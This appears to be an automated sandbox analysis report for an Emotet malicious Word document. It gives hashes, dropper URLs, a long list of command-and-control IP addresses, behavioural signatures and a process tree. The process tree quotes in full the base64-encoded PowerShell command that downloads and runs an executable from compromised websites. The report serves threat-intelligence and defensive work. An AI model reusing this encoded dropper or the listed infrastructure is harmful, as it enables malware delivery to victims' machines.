emotet | fe58e66ba70c6c395732f2c817dbd2c6454463fc5104633ec022c7d1fac1bed9

General

Target
emotet_e3_fe58e66ba70c6c395732f2c817dbd2c6454463fc5104633ec022c7d1fac1bed9_2020-08-14__115912._doc.doc
Size 227KB
Sample200814-3t1j5tkkya
SHA256 fe58e66ba70c6c395732f2c817dbd2c6454463fc5104633ec022c7d1fac1bed9
MD5 620d16e1b5fab0c748f334edfcce21f5
SHA1 0c43136fe8131f71d9fdc66aad822ea6a78931d9
SHA512 7bdea7837fd64f166bf20d9b4ac2e4d03d7e5f57326f3fe065028dbd3877c8294d853d9767497d6fb4172ebe3a582e8717755d3133ffe6aa0d18ed6d19cda82a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.hammockworld.co.nz/imgs/xyTBsz/
exe.dropper
http://seatrade.com.eg/index_files/OGUwzJl/
exe.dropper
http://www.nancywhite-realtor.com/wp-content/qavvddXh/
exe.dropper
http://skullmedia.de/befroe.de/eyiY/
exe.dropper
https://damoshushu.com/wp-content/xhcurZgXJ/

Extracted

Family

emotet

C2

66.61.94.36:80
159.203.232.29:8080
185.86.148.68:443
74.208.173.91:8080
37.70.131.107:80
212.156.133.218:80
81.17.93.134:80
203.153.216.182:7080
115.79.195.246:80
115.165.3.213:80
216.75.37.196:8080
81.214.253.80:443
192.241.220.183:8080
172.96.190.154:8080
195.201.56.70:8080
105.213.67.88:80
50.116.78.109:8080
188.166.25.84:8080
187.64.128.197:80
198.57.203.63:8080
179.5.118.12:80
201.213.177.139:80
153.220.182.49:80
185.208.226.142:8080
192.163.221.191:8080
37.46.129.215:8080
75.127.14.170:8080
41.185.29.128:8080
91.83.93.103:443
51.38.201.19:7080
78.188.170.128:80
113.160.180.109:80
217.199.160.224:8080
190.190.15.20:80
188.251.213.180:443
203.153.216.178:7080
182.187.139.200:8080
177.37.81.212:443
181.164.110.7:80
172.105.78.244:8080
212.112.113.235:80
78.189.60.109:443
176.9.93.82:7080
201.235.10.215:80
188.0.135.237:80
92.24.51.238:80
143.95.101.72:8080
163.172.107.70:8080
87.106.231.60:8080
197.83.232.19:80
31.146.61.34:80
5.79.70.250:8080
182.176.95.147:80
190.212.140.6:80
177.144.130.105:443
46.32.229.152:8080
185.142.236.163:443
115.78.11.155:80
87.252.100.28:80
202.5.47.71:80
181.113.229.139:443
77.74.78.80:443
181.134.9.162:80
105.209.235.113:8080
157.7.164.178:8081
178.33.167.120:8080
46.105.131.68:8080
139.99.157.213:8080
177.32.8.85:80
139.59.12.63:8080
192.210.217.94:8080
75.139.38.211:80
113.161.148.81:80
107.161.30.122:8080
190.164.75.175:80
181.167.35.84:80
97.104.107.190:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3024	904	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3132-15-0x0000000002420000-0x000000000242C000-memory.dmp	emotet
behavioral2/memory/3132-15-0x0000000002420000-0x000000000242C000-memory.dmp	emotet
behavioral2/memory/2064-18-0x0000000002090000-0x000000000209C000-memory.dmp	emotet
behavioral2/memory/2064-18-0x0000000002090000-0x000000000209C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
18	3024	powersheLL.exe
22	3024	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3132	Xfpl.exe
2064	StructuredQuery.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ContentDeliveryManager.Utilities\StructuredQuery.exe	Xfpl.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3024	powersheLL.exe
3024	powersheLL.exe
3024	powersheLL.exe
2064	StructuredQuery.exe
2064	StructuredQuery.exe
2064	StructuredQuery.exe
2064	StructuredQuery.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3024	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3132	Xfpl.exe
3132	Xfpl.exe
2064	StructuredQuery.exe
2064	StructuredQuery.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 3132	3024	powersheLL.exe	76
PID 3024 wrote to memory of 3132	3024	powersheLL.exe	76
PID 3024 wrote to memory of 3132	3024	powersheLL.exe	76
PID 3132 wrote to memory of 2064	3132	Xfpl.exe	77
PID 3132 wrote to memory of 2064	3132	Xfpl.exe	77
PID 3132 wrote to memory of 2064	3132	Xfpl.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_fe58e66ba70c6c395732f2c817dbd2c6454463fc5104633ec022c7d1fac1bed9_2020-08-14__115912._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABLADgAOABnADkAYwBfAD0AJwBYAHoAcwA3ADkAYQBoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQBgAFIAaQBgAFQAWQBwAFIATwB0AGAATwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwANQBpADQAZABuAHAAIAA9ACAAJwBYAGYAcABsACcAOwAkAEgAcQB1AHQAbwA4ADcAPQAnAFUAYgB2AHkAYwB6AG4AJwA7ACQAVQBwAHoAdAB2AGgAbgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEwANQBpADQAZABuAHAAKwAnAC4AZQB4AGUAJwA7ACQAUAA5AGwAMQBwAGsAeAA9ACcAUwByAHAAcQB3AG0AdgAnADsAJABLAG0ANQBpAHYAXwAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAEMAbABpAEUATgBUADsAJABTADIAagBsAGIAYQA2AD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBoAGEAbQBtAG8AYwBrAHcAbwByAGwAZAAuAGMAbwAuAG4AegAvAGkAbQBnAHMALwB4AHkAVABCAHMAegAvACoAaAB0AHQAcAA6AC8ALwBzAGUAYQB0AHIAYQBkAGUALgBjAG8AbQAuAGUAZwAvAGkAbgBkAGUAeABfAGYAaQBsAGUAcwAvAE8ARwBVAHcAegBKAGwALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAGEAbgBjAHkAdwBoAGkAdABlAC0AcgBlAGEAbAB0AG8AcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHEAYQB2AHYAZABkAFgAaAAvACoAaAB0AHQAcAA6AC8ALwBzAGsAdQBsAGwAbQBlAGQAaQBhAC4AZABlAC8AYgBlAGYAcgBvAGUALgBkAGUALwBlAHkAaQBZAC8AKgBoAHQAdABwAHMAOgAvAC8AZABhAG0AbwBzAGgAdQBzAGgAdQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHgAaABjAHUAcgBaAGcAWABKAC8AJwAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAGoAdwAwAG0AbwA0AD0AJwBFADMAeAA2AGUANQA1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABCAHIAdgAzAHEAcgBlACAAaQBuACAAJABTADIAagBsAGIAYQA2ACkAewB0AHIAeQB7ACQASwBtADUAaQB2AF8AMAAuACIARABgAG8AVwBuAGwATwBgAEEAYABEAGYAaQBsAGUAIgAoACQAQgByAHYAMwBxAHIAZQAsACAAJABVAHAAegB0AHYAaABuACkAOwAkAFIAeQBsAGoAawAyADIAPQAnAFYAeQA0ADgAcgBwAHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABVAHAAegB0AHYAaABuACkALgAiAEwAZQBOAGAARwBUAEgAIgAgAC0AZwBlACAAMgA4ADkAMwA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFUAcAB6AHQAdgBoAG4AKQA7ACQAQgAyADUAZABvAGgAaAA9ACcARwB0AHkAeAAzADMANwAnADsAYgByAGUAYQBrADsAJABFADQAOQBhAG0AaQBnAD0AJwBQAGYAegB2ADcAdQAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAbwBjAGMAYQBmAGoAPQAnAEMAZQBhAGkAZABuAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Users\Admin\AppData\Local\Temp\Xfpl.exe
  "C:\Users\Admin\AppData\Local\Temp\Xfpl.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3132
- - C:\Windows\SysWOW64\ContentDeliveryManager.Utilities\StructuredQuery.exe
    "C:\Windows\SysWOW64\ContentDeliveryManager.Utilities\StructuredQuery.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2064-18-0x0000000002090000-0x000000000209C000-memory.dmp

Download

memory/3024-9-0x00007FFCC7700000-0x00007FFCC80EC000-memory.dmp

Download

memory/3024-10-0x000001F359290000-0x000001F359291000-memory.dmp

Download

memory/3024-11-0x000001F371610000-0x000001F371611000-memory.dmp

Download

memory/3132-15-0x0000000002420000-0x000000000242C000-memory.dmp

Download

memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/3488-6-0x000001CB56E37000-0x000001CB56E40000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads